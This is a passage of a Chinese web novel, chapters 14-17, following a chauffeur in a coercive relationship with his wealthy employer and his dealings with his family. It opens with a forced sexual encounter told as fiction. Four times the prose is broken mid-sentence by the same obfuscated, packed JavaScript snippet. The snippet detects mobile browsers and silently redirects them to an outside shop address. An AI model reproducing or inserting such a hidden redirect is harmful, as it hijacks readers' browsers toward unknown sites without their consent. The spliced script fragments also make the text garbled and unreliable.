;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908421|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉头哽痛，他的双手被按在头顶，衣服正在被剥落，在那么一瞬间，他自己也定义不了的一瞬间，他抬脚踹开郑祉桓，可以说是手脚并用的挣扎，然后跌跌爬爬地下了床，又在天旋地转的一瞬间，被锁住扔了回去。 “跑什么？”郑祉桓的怒火值就在这时候被彻底点燃，他按住乔施珩，抓住他的头发，将他扯起来。 “你放开我，我不想做。”乔施珩觉得头皮很痛，只好双手齐上，企图拿开郑祉桓的手，但他的力气根本及不上郑祉桓，反而因为他的挣扎，让郑祉桓更生气了，他压制他，问他：“是因为那个跟你一起回来的女人？” 乔施珩无疑一直都是窝窝囊囊的，在郑先生或者任何人面前，他都没有强硬过，他确实像个软蒸糕，被人按住，就陷下去，之后自己再鼓回去。但他和郑先生之间，之前还从来没有出现过现在这样的情况呢，他从来没拒绝过郑先生，他一直都任劳任怨，有苦自己吞。 可这一次，他不知道从哪里来的勇气，也许是一直积攒的愤恨，他就是不肯，就是挣扎。郑祉桓无疑也失去了耐心，但却没有强硬着来，他只是扯住衣衫不整的乔施珩，将他往门口拽去。 乔施珩跌跌爬爬，NK挂在膝盖上，被拽到门口，听到门把手转动的声音，他才惊叫：“干什么？” “干什么？她就住另一边吧？让她看看你这样子，她还会跟你去吃烤串吗？”郑祉桓俯身，凑在他的耳边说：“没人敢说我什么，但你呢？” 乔施珩相信郑祉桓是做得出这样的事情的，所以他几乎是立即就抱住了他的胳膊，小声认错：“先生我错了，真的。” 郑祉桓直起身来，看着他：“错了？” “错了，我不该不上班的。”他说完意识到可能没说对，又改口：“我不该上班了也不告诉你的。” “还有呢？” 乔施珩望着他，一时间想不出来还有什么，他还有什么？他转尽了脑海里最后一点残渣，也只能结结巴巴地说：“我不该，不该觉得林木不好。” “不是这个。” 乔施珩终于垂下眼眸，他知道郑祉桓想让他说什么，大概率是以后不要再不跟他说一声就跟人去吃烤串，可他只是吃了个烤串，这也是错吗？这根本就不是错。 郑祉桓显然也不想太过逼迫他，而是将门锁落下，弯腰将人抱回去。 但他还是生气的，下手很重，弄得乔施珩很痛很痛，他趴在床上喘息，觉得自己身体都已经麻木掉了，连灵魂都出窍了，只有这具躯壳，只剩这一具躯壳了。 他怎么能不恨自己呢？恨自己没用，恨自己为何不敢质问他，为何不敢问他明明是他对自己不闻不问，见面了也不会问一下他病好了没有，杜慧慧都能看出他脸色很差，为什么他却看不见？为什么他还敢这样到自己这里来质问自己？他拿自己当什么呢？ 又有那么一刻，郑祉裕口中的土豆、P友，什么胆小、自负，又像个复读机一样在他脑海里盘旋。是啊，他们就是这样的关系而已，只有这样的关系而已，除开这样的关系，就只有那辆冷冰冰的车，承载了他们之间的一切。 意识消散的那瞬间，他仿佛又看到了第一次去见郑先生那天的自己，穿着老旧的衣服，那么拘谨，一瞬间那身影又变成了海洋馆玻璃墙里的自己，一模一样的自己。仿佛岁月将他锁进了那辆车里，而这辆车，从他二十岁开始驶离，兜兜转转这么多年，竟然还在原地。 14. 第 14 章 单人床很小，所以郑先生有一点动静，乔施珩就知道了。他假装没醒，感觉身边的人轻手轻脚起床，然后进了卫生间。没多久，他出来了，似乎是走到了床边停下，应该是在看他？ “今天休息吧，我自己开车。明天下午三点有个会，你两点到车里等我。” 乔施珩还在装死，下一刻眼皮就被手指抚摸住，郑先生声音很轻：“装睡也不会装。” 等他拿开手，拧开门锁出了门，乔施珩睁开眼，又闭上了。 乔施文给他打电话，一大早本该上班的时间，她却哈气连天：“哥，在哪儿呢？今天有事吗？” “没什么事，怎么了？” “哎呀，大哥他说下午没时间去接轩轩，让我去接，我没空，我问问你。” “轩轩不是放假吗？” “他今天去找朋友玩去了，嫂子坐公交车送他去的，说是他的同学过生日，在那个同学家里玩一天。”乔施文追问：“你到底是不是没什么事啊？你没事的话就去接一下啊。” “知道了，你把地址发我。” 乔施文给他发的地址是在静川老城区，他要坐一个多小时的地铁才能到，之后再坐地铁将轩轩送回家。本来乔施珩没对这个地址有什么想法，但等他到了才发现这竟然是一片别墅区，且这里的别墅都很有年头了，这条路也在这些年里被逐渐开发成了旅游打卡景点。 乔恩轩同学的家在这条路的后面，他顺着导航走了两条巷子，才发现在独栋洋楼的后面，还有很多低矮的老房子，很破旧。按照现在静川区的房价，应该也拆不起了。 他按照弄堂号找了许久，才找到一户院子，隔着低矮的围墙，他一眼就看到在院子里挖土的乔恩轩，他的衣服上抹了不少蛋糕，看起来玩得很开心。 “轩轩。” 乔恩轩抬头，跟他打了招呼，又噔噔噔跑回屋里去了，没多久就洗干净手背着书包出来了。他和同学告别，然后和乔施珩一道往地铁站走去。 乔恩轩跟他应该是不熟的，因为他常年在外地，他们之间相处并不多。 “你同学家为什么会在这里？”因为按照地域来看，他们不应该在同一个学校。 “这是他的老家，但是房子太破不能住了，就只有他的外婆和外公住在这里。”乔恩轩解释完问他：“为什么是你来？” “你小姑今天有事，所以就我来了。” 他们走出巷子，拐上那条著名的景点街道。 “其实我可以自己回去的。” “知道地铁口怎么走吗？” “当然了，就在前面那条横着的大马路上。” 他跟乔恩轩有一搭没一搭聊着，忽然有车在自己身边按起了喇叭，他停下来，那车也停下来，车窗摇下来，车里是一张乔施珩觉得眼熟的脸。 “小乔，怎么在这边？” 乔施珩一时没有想起来他是谁。 “我猜你就是把我给忘了。”这个人拿出名片递给他。 乔施珩接下来，就想起来了，他是自己在金石大楼图书角遇到的那个纶潭实业的投资负责人，盛逸则。他心里明白，这样的人多数都是想要攀郑先生关系的，所以他也没有热情，反而有点冷淡地点点头，表示自己知道了。 这人做了个打电话的动作：“有事联系我啊。” 显然这里不能久留，他的车必须要开走了。 “他是谁啊？” “不认识。”乔施珩攥着那名片，走了几步看到垃圾桶，就扔了进去。 “不认识的人为什么给你递名片？” “见过一次。” “那你还说不认识。” 到家刚好是晚饭点，太芬把菜端上桌，招呼他们：“等等你哥啊，打麻将还没回来。” “小文呢？” “说有事晚上不回来吃饭了。” 乔施珩在沙发上坐下，好像不小心坐到了什么，拿过来一看原来竟然是宣传传单，他看了下倒是很像微商之类的宣传单，就随手放进了垃圾桶。 “阿珩，你脸色看着不好，生病了吗？” “没有。” 太芬叮嘱他：“工作要紧，身体也要紧，要照顾自己。” 乔施军打麻将赢了钱，高兴得很，他拿出酒来喝，喝着喝着就开始话多。但话题一直都没有离开乔施珩，一会儿感谢他帮衬自己家，一会儿又抱怨他不为了轩轩和婷婷上学出力，最后又转回了他的私人事情上。 他指着乔施珩：“这四周，认识我老乔的，谁不知道我有个光棍弟弟，说你仗着脸不错，想攀附那些有钱女人，才挑三拣四，不肯结婚。” 乔施珩无奈：“哥，这附近认识我们的人都搬走了好吗？” “那难道就没人认识了吗？我老乔也跟着没面儿。” 太芬就数落他：“你少喝点酒，少说两句，现在周边没结婚的女孩子都一抓一把，你怎么又说起了阿珩。” “你那个，咱们村东头超市那家，有个闺女，你考虑考虑见见？” 乔施珩拒绝：“算了，哥。”他本来想说自己什么都没有，拿什么找对象，何况他本来也没有想过这回事，又怕乔施军多想，就没说。 “爸爸，你少说叔叔两句好吗？”乔恩轩维护他：“叔叔今天还去接我回家了呢。” 乔施军一肚子气，又不好撒，一个劲儿喝闷酒。 “哥，你少喝点。” “阿珩，到底还是我们连累了你。”乔施军叹气：“我没能帮上你什么，却拖累你半辈子。” 乔施珩笑了笑，他说：“哥，如果我不给郑先生开车，可能就挣不到那么多钱了呢。” “怎么说起这个？”乔施军的反应和大部分人一样：“为什么不开了？他又要高升去别的地方了？” “没有。”乔施珩笑眯眯：“就是这么说说。” 太芬接过话：“阿珩你别有负担。” 他只当太芬是在安慰他。 临走走到门口，太芬将他送到门口，回头看了看身后，没人跟出来，她就说：“阿珩，是不是工作遇到难事了？” “没有的事儿。” “我看你脸色是真的不好，你也要注意休息。”她叮嘱：“这个周末你要是有空，就回来家一趟，我给你煮汤喝。” “周末不一定有空呢。”他想，周末是郑先生的生日，他应该会不知道蹲在哪里，等郑先生聚会结束然后送他回去，以防止他会突然有什么差遣。 他和郑先生之间这次的“冲突”就这么过去了。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908422|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又回到了自己的工作岗位，坐进了这辆熟悉的车里。他不禁又想到三年前那些他不愿再想的第一次，也许不管是怎么样的争执、冲突或者矛盾，最后都只能以他的隐忍和退让来作为结局。 他就像在用自己的鲜血，去粉饰这幅千疮百孔的画。 再次见到林木还是在明院，他在车里看着明院亮着的灯，收回目光后，问开车门下车的郑先生：“林木在家啊？” 郑祉桓开车门的动作都没停，也只是嗯了一声。 他在手机上搜林木，他参加了节目，有了点声量，但很小，小得可怜。他看着那记录上，林木的年龄，又忽然觉得，他自己才最可怜。 日程计划上，周六周日是空白的。所以郑先生大概率是用一整天陪着林木，然后再在第二天带他去参加自己的生日会。而他到目前为止，除去从郑祉裕那里得到的信息，无任何人通知他时间和地点。 回到宿舍看到桌上自己买好的礼盒，还有选好的那个杯子，他默默收了起来。生了几天病，没拿到日程表，结果再拿到日程表，他这可怜的生日礼物，都没机会送出去了。 他又翻出了那个老掉牙的老款手机，对着这杯子拍了一张。 乔施文不知道从哪里知道了郑先生的生日，给他打电话询问。乔施珩正在网上搜索一些职业信息，反问她：“你怎么知道？” “想打听的话这又不是秘密。”乔施文问：“在什么地方？怎么过？” “听说是在游轮上，具体我不清楚。” “哥你这人真是，问你个生日你还装不知道，不是我就不懂了，你是他的司机啊，你说你不知道，不清楚，这说的过去吗？” 乔施珩也没有太客气：“这件事我确实不知道，他也没有通知我，日程表上也没有说需要出车。” 乔施文听他这么说，那大概率是真的，她又不开心：“你可真没有用，这点事都不知道，他不说你不会主动打听吗？” 乔施珩叹气：“小文，你想干什么？去他的生日会，又能干什么？” “哥，你多大年纪了，还问我这种话。”乔施文反驳他：“我去能干的事儿多了，我能交到很多达官显贵的朋友，这都是人脉，以后用得着的！” “你现在思想很有问题。”乔施珩问她：“你在哪儿？” “我在哪儿都不想听你说教。” “我不是要说教你，我是想你能够明白，你只要好好毕业，再找个稳当的工作，嫁个靠谱的男人，就是最好的生活。”他劝她：“你不要想着去结交什么达官显贵，你应该脚踏实地。” “哥，像你这样的想法，怪不得给人开了十几年的车还只是个混不出名堂的司机。” “乔施文！” 听着手机里的嘟声，乔施珩意识到乔施文的思想发生了很大的变化。他给太芬打电话：“嫂子，小文在家吗？” “不在，好几天没回来了，说是有事忙呢。”太芬带着歉意：“女孩子大了，我也不好管。” “知道的嫂子，她要是回家，你给我打电话。” “阿珩，你要没事的话，晚上回来吃饭啊？”像是怕乔施珩有顾虑，她又说：“你哥不会再说你什么了，我起了个大早，去菜市场买了新鲜的鱼，晚上煮鱼汤给你喝。” 15. 第 15 章 乔施珩下午早早就回去了，他从地铁站出来往家里走要走不短的路程，天气又热，好在路边有树。之前他坐地铁回来经过村东头超市这家，从来没在意过这家人。但这次他却发现乔恩轩在里面买冷饮，就走进去：“轩轩，买什么呢？” 趴在冰箱上的乔恩轩转头：“小叔，我买冷饮。” 乔施珩就跟店员说：“拿个袋子来。” 店员是个小姑娘，看他的目光突然变得害羞，乔施珩一下子想起来乔施军说得话，他有些尴尬。 “小叔，买那么多冷饮，会被爸爸说得。” “在你爸爸说你之前，叔叔全都能吃掉。” 小姑娘在旁边说：“冷饮一次不能吃太多的。”又问乔施珩：“你就是大乔哥的弟弟吗？” “对，乔施珩。” 小姑娘笑得开朗：“我叫王圆。” 从超市往家里去，乔施珩撕开个冷饮吃，乔恩轩就学着他也撕开个冷饮，长长的巷道里，就只有他们两个人，连偶尔路过的小狗，也是热得伸着舌头跑。 “小叔，我妈妈说你是最好的人，是我们家的大恩人。” “叔叔不是。”乔施珩摸他的头：“一家人谈不上什么恩人不恩人，如果这样说的话，你爸爸也是我恩人呢。” “是吗？我爸爸能为你做什么事吗？” “当然啦。”乔施珩笑眯眯：“叔叔和小姑小的时候，就是你爸爸养大的。” 往前推二十来年，乔施珩10岁，那时乔施文刚刚出生没多久，他的母亲一个人无力抚养三个孩子，成夜成夜哭。已经辍学的乔施军没成年也做不了什么像样的工作，给人家当小工还被以年纪为由克扣一部分工资。乔施军就去求大伯帮忙，名义上他们还有个干叔叔，但是这两人却对他避而不见。 好像自从父亲因为意外去世以后，他们一家就成了边缘化的一家。 有时候村里有好心人，还会照顾他们一些，今天送点鸡蛋来，明天送点菜来。当然，这里面不包括他们任何一位亲人。后来母亲一病不起，他们的大伯甚至还想霸占房子，当然，因为乔施军已经成年，他也怕被人戳脊梁骨，最后也放弃了。 站在现在去回忆从前，很神奇，乔施珩竟然觉得自己已经忘记了那些年幼时受过的苦楚，更多的却是唏嘘。他没读什么书，没什么大学问，他不会形容，但他觉得像他见过的颜色，一种缥缈苍茫的白。 “叔叔，我和婷婷会好好学习的。我们会友爱同学，积极努力，将来一定有出息。”乔恩轩的话很有力，如果没在说话时候还不忘舔几口冷饮，那就更像模像样了。 “好。”乔施珩拍拍他的肩膀：“但更重要的是要诚实，要脚踏实地。” “嗯！” 客厅里开着两个风扇，还是透着一股闷热感，太芬看到他来，就去把卧室的空调打开，然后把卧室门打开，又把房子大门关上。 “哥又去打麻将了？” “今天没打，跟人下象棋去了。”太芬把鱼端出来给他看：“刚清理好，回头准好喝。” “我来吧。”乔施珩走进厨房：“我也会煮鱼汤呢。” 太芬拒绝：“知道你会，但你别抢我的活。”她一边在厨房捣鼓，一边说：“我看隔壁阿杏晚上出摊做小吃，一晚上能挣大几百块呢，我想跟你哥商量商量，咱也去做那个。” “摆摊吗？” “对啊，你嫂子我虽然腿脚不好，但我做饭可是一把好手啊。”她摇头：“捣鼓那些破烂，也挣不了多少钱。” 换成以前，乔施珩可能会阻止她，做小吃虽然挣得多，但也很累，晚上又要熬很晚，他们两个身体都不好，应该做不了。但眼下他自己心里也犹豫，尤其是最近，他总在想自己不做司机还能做什么，不做司机他就没办法挣到很多钱了，那样的话嫂子和大哥，还是要想办法挣钱。 “试试？需要什么吗？买个小吃车？” “三轮车改一下就行，咱们院子里不是现成的。”太芬越想越得劲：“正好接完孩子放学回来就去出摊，时间也正好。” “那打算做什么？” “不知道，你有什么建议吗？” “我也不知道，弄点炸串？”乔施珩笑：“或者关东煮什么的。” 太芬说：“我试试吧，在家试出来，胃口好了，再出去试。” 吃饭前乔施珩又给乔施文打电话，还是没接。乔施军就说：“女孩子大了，你管她去哪里玩，只要安全就好。” 乔施珩摇头：“小文不知道怎么回事，有点飘飘然了。”他责怪乔施军：“哥，都说了很多遍了，不要惯着她。” “你这回可说上我了，你自己还不算惯着她？我看谁也没你惯得狠，她要月亮，我腿脚不好摘不了，你第一个爬上天去给她摘。” 太芬做得鱼汤确实很好喝，乔施珩没吃多少饭，光顾着喝汤了。 晚上回去的时候，他会经过超市，巷子里灯光昏暗，只有尽头的超市很明亮，远远地，他就看到那个叫王圆的女孩子一直朝他这边张望。她的手里拿着蒲扇，一会儿扇一下，一会儿又躯干飞虫和蚊子，直到他走到她面前，她才假装刚刚看到他，跟他打招呼：“这就回去啦？” “嗯对。” “你住哪边呀？坐几号线？” “住金石滩公寓楼，坐三号线。” “那也不算近呢。” 因为不熟，没什么话可说，小姑娘问他：“吃水果吗？给你拿点？” “不用了，谢谢。” 很寻常的一个周六呢，乔施珩想。 从地铁站出来回金石滩公寓的路上，他绕路从金石滩公园走，公园里才是真的人间生态，路过套圈圈那个摊位时，他花了十块钱套了一把，意外套中了一个放在玻璃钢里的小小乌龟。 其实乌龟也挺好养活的。 于是回到宿舍里，他找了个地方放小乌龟，又从网上买了更大一点的玻璃缸和乌龟吃得食物。 这天晚上他失眠了。 在床上翻来翻去很久也没有睡着，最后他又摸出了那款老旧的手机，手机上的按键都已经被他摸得磨损了，屏幕也很小，清晰度更是差，但他攥着这只老旧的手机，就像攥住了过去那些年的回忆，这些回忆是他构建了他的人生，像是他这具躯体的支架。 可惜回忆在他的手里，却阻止不了这支架摇摇欲坠。 第二天他又回了家。 屋子里婷婷正在哭，轩轩也在一边生气，他很惊讶：“怎么了？” 太芬无奈：“说是快开学了，闹着买新书包，我看他们的旧书包还能用，就没让买。” “可是我书包都破掉了。”轩轩把书包拿出来：“你看，真的破掉了。” “我用得还是我哥哥的旧书包，一点也不好看。”婷婷也说：“我开学就一年级了。” 乔施珩笑：“这书包确实旧了，叔叔带你们去买新得好不好？” “好！”两个孩子异口同声。 “阿珩，你...”太芬不同意：“我看还能用呢。” “没事嫂子，我带他们去逛逛超市，晚上回来吃饭。” 村口的小超市肯定没有书包卖，乔施珩带他们坐公交车，去了三站路之外的一个大超市。乔恩轩拖着购物车，问他：“小叔我可以再买几只笔吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908423|192421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “当然可以，要买什么学习用品就拿。” “我爸爸和妈妈从来没有带我们来过大超市。”乔恩轩说：“他们不方便来。” “以后小叔带你们逛。”乔施珩想了想：“等下去童装区，给你们买几件衣服。” “小叔你太好了。” 两个孩子对逛超市很有劲儿，几乎每个货架都要沾沾瞧瞧，乔施珩耐心地跟在身后看着，生怕一个不注意孩子就跑不见了。拿了一些学习用品后，他们就去挑书包，乔恩轩挑了个黑灰色的书包，看着很大气，乔恩婷就挑了个粉色的，看着很可爱。 最后到了童装区，乔施珩又让店员帮忙挑了几套衣服。 结果就是大包小包差点提不下，两个孩子只好把书包背在身后。 路过蛋糕店，乔恩婷走不动了，她有点害羞地问：“小叔，可以吃一个小蛋糕吗？” 乔施珩看着橱窗里琳琅满目的蛋糕，笑眯了眼：“当然可以。” 他本来想买两个小小杯蛋糕，但付钱的时候还是多拿了一个。于是两个孩子背着书包屁颠屁颠地一边走，一边吃蛋糕，而他胳膊上挂着好几个袋子，也不耽误他挖蛋糕吃。 阳光透过树荫缝隙洒下来，天气很热，行人却不少。乔恩轩眼尖，指着前方公交车站的车说：“是我们的车！” 乔施珩很淡定：“赶不上啦，等下一班吧。” 晚上吃饭的时候，乔施军又要喝点小酒，太芬还是一如既往不赞成：“少喝点吧。” “在家喝点酒怎么了？我又不开车，你天天就说说说说。” 乔施珩跟着笑：“喝点吧，我也喝点。” 太芬责备地看他一眼：“你怎么也想喝？不开车了是吧？” “我难得喝一次，陪大哥喝点。”乔施珩起身去拿了酒杯：“反正我也不开车，回头坐地铁回去就行，我也没骑车。” “行，阿珩想喝，那就喝点。”乔施军笑：“只是我这是买得散酒，度数很高，你可得注意点。” “没事，喝得了。” 他一杯接着一杯，喝到第四杯的时候，太芬和乔施军都觉得不对劲了，他光说要喝酒，却一筷子菜也没动。乔施军就问他：“阿珩，你这喝闷酒呢？有事吗？” “没事啊。”乔施珩招呼他们：“看我干什么？吃饭呀。” 太芬把酒瓶拿走：“你就喝完杯子里的不许再喝了，别再跟你哥一样喝成酒鬼。” 乔施珩按住酒瓶：“嫂子，我再喝点，不多喝呢。今天高兴。” “今天什么日子啊？”乔施军琢磨半天：“今天也不是什么特殊日子啊，就周末，那明天还得上班呢。” 乔施珩笑笑：“我看日历，今天日子很好呢。” “你可算了吧，你今天晚上要是喝多了，明天开车再是酒驾，你不想干了呀。”乔施军挥手招呼太芬：“把酒瓶拿走。” 酒瓶收走了，乔施珩也没能吃下几口菜。 “你小子是不是遇到什么事儿了？”乔施军打量他：“你也不能遇到什么事儿啊，怎么跟那电视剧里失恋了似得。” “哎呀，你们就会瞎想，我想喝两口酒也得被你们胡思乱想。” 乔施珩走得时候，太芬依旧追了出来，她手里抱着个保温桶，塞给乔施珩：“你拿着，里头是鱼汤呢，我给你留得。” “不用了嫂子，下次我再拿，我现在什么也吃不下了。” “你真没什么事啊？”太芬担忧：“没事你喝酒干什么呢？” “就是想喝两口了，你们真的别多想，我能有什么事，我孤家寡人的。”他跟太芬挥手：“走了啊。” 16. 第 16 章 乔施珩去了金石海滩，这个时候酒的后劲上来了，他走路都有些飘，但让海风一吹，又会舒服不少。扶着路灯，找了个石阶坐下，他挠了一把头发，感觉头重脚轻的，还有点想吐。 他想起乔施军的话来，说他像那电视剧里演得失恋的那样，他想笑，他要是真得有那个勇气，就不会在家跟他喝两杯了，他应该随便找个酒吧，把自己喝到不省人事才是。 可他是个胆小鬼，胆小到酒吧都不敢去，真是可笑。 这天晚上他到底没有崩住，在没什么人会去的金石海滩边埋头痛哭，哭得撕心裂肺。就连第一次发现郑先生有了别人，都没哭得这么惨过。 哭完了吐，吐完了又哭。 没人比他更能知道，支架会碎裂的痛感，也没人能比他知道，他多不希望这具支架碎裂。 可惜，就算他的世界坍塌成一片废墟，太阳还是会照常升起。 在太阳升起前，他赶第一班公交，回到了金石滩公寓。宿舍楼里的人都还没起，他到宿舍后，洗了个澡，等着赵秘书给他发新一周的行程表。 镜子里的自己很糟糕，眼睛很肿，脸色苍白，连唇都没什么血色，没办法，他只好找个毛巾敷眼睛，希望能没有那么明显。 给乌龟喂了食物，他坐在床上，盯着那墙皮塌掉一些的墙缝看，又后知后觉，猜测自己现在到底能不能开车，最后又抱有侥幸心理，希望早上郑先生没有会议。 后来真的愿望成真了，郑先生不仅没有会议，更是请了一早上的假。挺罕见的，这些年他请假的次数很少，乔施珩想，应该是因为昨天晚上玩得太开心了吧。 赵秘书给他打电话：“乔师傅，郑先生下午两点上班，请你准时过去明院接他。” 他向来公事公办，不给乔施珩说话的机会就会挂掉电话，于是乔施珩往后一倒，又睡了过去。 他睡得很沉很沉，好像这么多年，从没睡得这么沉过。直到恍惚之中听到砸门的声音，他都没能睁开眼睛，他在黑暗里游泳，海水淹没他的鼻息。 “乔师傅！你醒了啊？可吓死我了。”杜慧慧的声音传来。 乔施珩有点恍惚，鼻尖里充斥着消毒水的味道。 “赵秘书提前给你打电话确认你去没去接郑先生，结果打不通你的电话，就过去宿舍找你，听到你手机在宿舍里响，就是没人接，我刚好午休回去拿东西碰到了。”杜慧慧责备他：“你怎么能发烧了不去医院自己一个人睡觉呢，睡觉是扛不过去的，正确的做法是来医院吊水。” 乔施珩终于清醒了，他根本不知道自己发烧了，他只觉得有点累，想睡觉而已。“郑先生呢？” “你放心吧，赵秘书替你请假了，说你不舒服在医院，郑先生大概是自己开车的吧，他下午有会议。” “谢谢你啊慧慧，陪我来医院。” “你都烧迷糊了，喊你都喊不醒，真是吓死人。”杜慧慧摆手：“没事，不影响。” 吊完水，医生建议他留下来观察，但乔施珩觉得自己没事了，就还是回了宿舍。杜慧慧叮嘱他：“你可不能再这样了，发烧就要立即去医院。” “没事，我不是已经退烧了吗？就是昨天晚上着凉了可能。” 杜慧慧走了以后，他对着手机看了半天，最后无奈一笑。 晚上他认真看着附近的粥点外卖，郑先生就在这个时候给他打来了电话，问他：“退烧了吗？” 想来是赵秘书都汇报过了，“退烧了，没事了。”他补充：“明天早上，我去明院接您。” “如果你....” “没关系先生，我不用休息了，我都好了。”他一个人在宿舍，也无聊，不如去上班，班上得越多，支架碎裂的速度就会越快，他明白。 早上去明院的时候，他犹豫再三，还是带上了那个杯子，只是把他精心挑选的包装拿掉了。 郑先生还是老样子，好像也没什么春风得意的样子，连林木那双雪白的手替他正衣领，都没那么刺目了。 他的杯子依旧放在副驾驶座上。 让人啼笑皆非的是又让坐在他后面的林木看到了，他拿过去，问他：“乔师傅，这杯子还挺好看的，在哪儿买得？” “网上。” “送我喝水呗，你用过了吗？” “没有。”乔施珩强调：“那本来是打算送给郑先生的。” 郑祉桓抬眼，看向林木手中那粉紫色相间的杯子。 “送给郑先生不合适吧？”林木说：“这杯子总不能摆在他的办公桌上让他喝水吧？” “是吧，你也觉得不合适。”乔施珩笑：“所以也没好意思送给先生。” “那正好啊，比较适合我，给我吧。” 乔施珩不知道郑先生有没有表情，或者应该是什么表情，他沉默了一下，正准备答应，就听郑先生说：“拿来。” 虚惊一场后，这个杯子最终还是送到了，他想送的人手中。乔施珩还是欣慰的，也许，再没这样的机会了。 乔施文“失踪”一周后，终于在一个夜晚给他打来了电话。 “哥，给我转两万块钱。”她说：“急用呢。” “没钱。”乔施珩没有太客气：“你干什么急用？你在哪儿呢？” “哎呀哥，你问那么多干什么，我又没有犯法。” “你不说清楚，我不会给你的。” 乔施珩本来以为她会说清楚，结果她却挂断了电话。 第二天郑先生全天不需要外出，乔施珩就去乔施文还在实习的单位找她，算了算时间也就这两天她的实习期就结束了。可直到他找到公司，人家才说她提前几天都结束实习了，拿了证明走了。 乔施珩又无奈了。 他着急了一天，晚上下班难得想到问一下郑先生：“先生，或许小文最近有找过你吗？” 郑祉桓的回答让乔施珩吓了一跳。 “她每天都找我无数次。”郑祉桓倒是不怎么在意：“我把她免打扰，是给你的面子。” “对不起啊先生。” “晚上没事的话，过去明院做顿饭。”郑祉桓强调：“只是做饭，不做别的。” 乔施珩信了，因为如果要做别的，他不会强调后面那句。 只是令他没有想到的是，饭做了一半，林木就来了。他承认自己曾经猜测过林木会跟他多久，也明白大概率也不会很久，但像林木这样住着明院的，也确实是第一个。 “乔师傅，又来展示厨艺了啊？”他走进厨房绕了一圈：“做什么好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔施珩看着垃圾桶，半天才又收回目光，他已经不觉得愤怒了，他只是觉得林木幼稚，很幼稚，他很怀疑林木到底究竟知不知道自己的年纪，他大他那么多，怎么可能跟他勾心斗角什么的。 但是炒菜的时候，他还是多放了几勺盐。 离开的时候已经八点多了，乔施珩把垃圾带了出去，亲手丢进了垃圾桶。这杯子其实挺像他的这颗心，四分五裂后被人扔进垃圾桶，毫不在意。 在宿舍的楼梯口，他碰到了在外面打电话的杜慧慧，对方示意他等一下，就快速和对面说了几句话，然后挂掉了电话。她问他：“乔师傅才下班吗？” “对。” “那可真是太辛苦了。”杜慧慧问他：“吃晚饭了吗？” “还没呢。回去随便吃点。” “那可好了，我也没吃呢，咱去小区门口随便吃点？” 金石滩公寓门口都是些面馆之类的，他们也没有太挑，就随便找了一间坐下来吃饭。 “这家油泼面真是一绝，乔师傅你试试？” “不了，我吃不了重口味的，我就吃个青菜面就好。” “那我吃油泼面！” 乔施珩想了想：“你别叫我乔师傅了。” “那叫你什么？叫你小乔吧！”杜慧慧开心：“我早就觉得你挺小乔的哈哈！” 两人饭吃了一半，店里又进来一拨人，全都认识杜慧慧，挨个跟她打招呼，更有那起哄的直接说：“慧慧你跟乔师傅到底怎么回事？中午在一块儿吃饭，晚上也在一块儿吃。” “别瞎说啊，我们偶遇的，就许你们偶遇我，不许我俩偶遇。” 乔施珩最是知道这些人爱嚼舌根的能力，不过也没必要特意解释，他们一旦认定了，你解释也是越抹越黑。 17. 第 17 章 太芬推着三轮车出去试串的那天晚上，乔施珩也跟着去了。他们没有选择去夜市，而是转了两条街，到了居民区一条人来人往的路口，这里的摊位比较多，也不固定，谁抢到就是谁的。 他们没有选择炸串或者关东煮，而是选择了用料腌制的串串，蔬菜就一块钱一串，烤肠、鸭肠之类的就两块钱一串。 乔施珩站了没多久，就有几个人过来看，有开朗的小姑娘问乔施珩：“怎么没个牌子啊？” “还没来得及做。”乔施珩笑得腼腆：“刚做。” “那给个盒子。” 从六点多到九点多，他们的串卖了一大半。太芬数着手里的钱告诉他：“一百九呢，卖纸盒子可没这个价钱，还是这个挣。” 他帮着太芬回到家都已经十点了，太芬想留他，但又没有条件留他。 乔施珩走到地铁口，接到了乔施文的电话，但打电话的人却不是乔施文，按照对方的意思，乔施文喝多了。乔施珩问对方要了地址，坐地铁过去。 他以为乔施文会老老实实在学校上课呢。其实是他不明白，大四的乔施文已经没什么课了，玩的时间多得很。 乔施文倒在酒吧的沙发上，可以说是喝得不省人事。周围还坐着一圈男男女女，看着都是些时尚的小青年，看到乔施珩来，有人问他：“你就是她哥？” 乔施珩点头，过去查看乔施文，“我是她哥，她喝多了给你们添麻烦了，人我就带走了，你们继续喝吧。” 他把乔施文背起来，提着她的高跟鞋，离开。 